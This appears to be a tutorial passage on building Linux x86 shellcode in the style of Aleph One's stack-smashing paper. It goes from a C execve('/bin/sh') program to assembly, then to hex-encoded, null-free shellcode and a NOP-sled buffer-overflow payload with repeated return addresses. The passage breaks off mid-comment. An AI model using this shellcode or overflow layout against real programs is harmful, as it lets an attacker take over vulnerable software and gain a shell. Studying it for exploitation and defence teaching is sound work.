Shellcode What would a hacker want to put on the stack? Preferably, code to launch a shell. With a shell they have general access to the system as the user of the target software. shellcode.c ----------------------------------------------------------------------------- #include void main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); } ------------------------------------------------------------------------------ [aleph1]$ gcc -o shellcode -ggdb -static shellcode.c [aleph1]$ gdb shellcode Then gdb and disassemble main to see how to call execve with arguments. exit.c ------------------------------------------------------------------------------ #include void main() { exit(0); } ------------------------------------------------------------------------------ [aleph1]$ gcc -o exit -static exit.c [aleph1]$ gdb exit Putting all of this together, here is what the shell code should do... 1) Setup data to appear as after char *name[2]; name[0] = "/bin/sh"; // address of "/bin/sh" name[1] = NULL; // long NULL 2) Simulate the call to execve(name[0], name, NULL); | | | v v v ecx ebx edx 0xb->eax then int $0x80 a) Have the null terminated string "/bin/sh" somewhere in memory. b) Have the address of the string "/bin/sh" somewhere in memory followed by a null long word. c) Copy 0xb into the EAX register. d) Copy the address of the address of the string "/bin/sh" into the EBX register. e) Copy the address of the string "/bin/sh" into the ECX register. f) Copy the address of the null long word into the EDX register. g) Execute the int $0x80 instruction. h) Copy 0x1 into the EAX register. i) Copy 0x0 into the EBX register. j) Execute the int $0x80 instruction. jmp 0x2a # 3 bytes trick! to find address of /bin/sh popl %esi # 1 byte trick! on the stack movl %esi,0x8(%esi) # 3 bytes put the address of /bin/... in... movb $0x0,0x7(%esi) # 4 bytes null terminate /bin/... movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes call execve movl $0x1, %eax # 5 bytes call exit movl $0x0, %ebx # 5 bytes call exit int $0x80 # 2 bytes call exit call -0x2f # 5 bytes trick! esi-> .string \"/bin/sh\" # 8 bytes 7(%esi) z # 1 byte to be null termination of string 8(%esi) xxxx # 4 bytes address of "/bin/sh" 'name[0]' c(%esi) yyyy # 4 bytes NULL (long 0) 'name[1]' We still have a few problems!! Problem: This is not a string. Solution: That is easy to fix, you can examine the bytes of... shellcodeasm.c ------------------------------------------------------------------------------ void main() { __asm__(" jmp 0x2a # 3 bytes popl %esi # 1 byte movl %esi,0x8(%esi) # 3 bytes movb $0x0,0x7(%esi) # 4 bytes movl $0x0,0xc(%esi) # 7 bytes movl $0xb,%eax # 5 bytes movl %esi,%ebx # 2 bytes leal 0x8(%esi),%ecx # 3 bytes leal 0xc(%esi),%edx # 3 bytes int $0x80 # 2 bytes movl $0x1, %eax # 5 bytes movl $0x0, %ebx # 5 bytes int $0x80 # 2 bytes call -0x2f # 5 bytes .string \"/bin/sh\" # 8 bytes "); } ------------------------------------------------------------------------------ in gdb (gdb) x/bx main+3 ... Here it is as a string... "\xeb\x2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00" "\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80" "\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff" "\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3"; Problem: This has some \x00 in it. This will effectively end the string. Solution: Use some tricks to generate \x00 without actually having 0 in your code. Problem instruction: Substitute with: -------------------------------------------------------- movb $0x0,0x7(%esi) xorl %eax,%eax molv $0x0,0xc(%esi) movb %eax,0x7(%esi) movl %eax,0xc(%esi) -------------------------------------------------------- movl $0xb,%eax movb $0xb,%al -------------------------------------------------------- movl $0x1, %eax xorl %ebx,%ebx movl $0x0, %ebx movl %ebx,%eax inc %eax -------------------------------------------------------- Final shell code: "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; To use this on a particular program (os version, gcc version, software version) you would do something like... Add in \x90 to the beginning (noop) and pad the end with a return address which will land the CPU back in the string of NO-OPs. "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" <----- "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" | "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" | "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" | "\x80\xe8\xdc\xff\xff\xff/bin/sh" // 13 chars | "\x44\xb0\xff\xbf" | "\x44\xb0\xff\xbf" | "\x44\xb0\xff\xbf" <- hopefully one of these correctly overwrites | "\x44\xb0\xff\xbf"; <- the return address and jumps us back to ------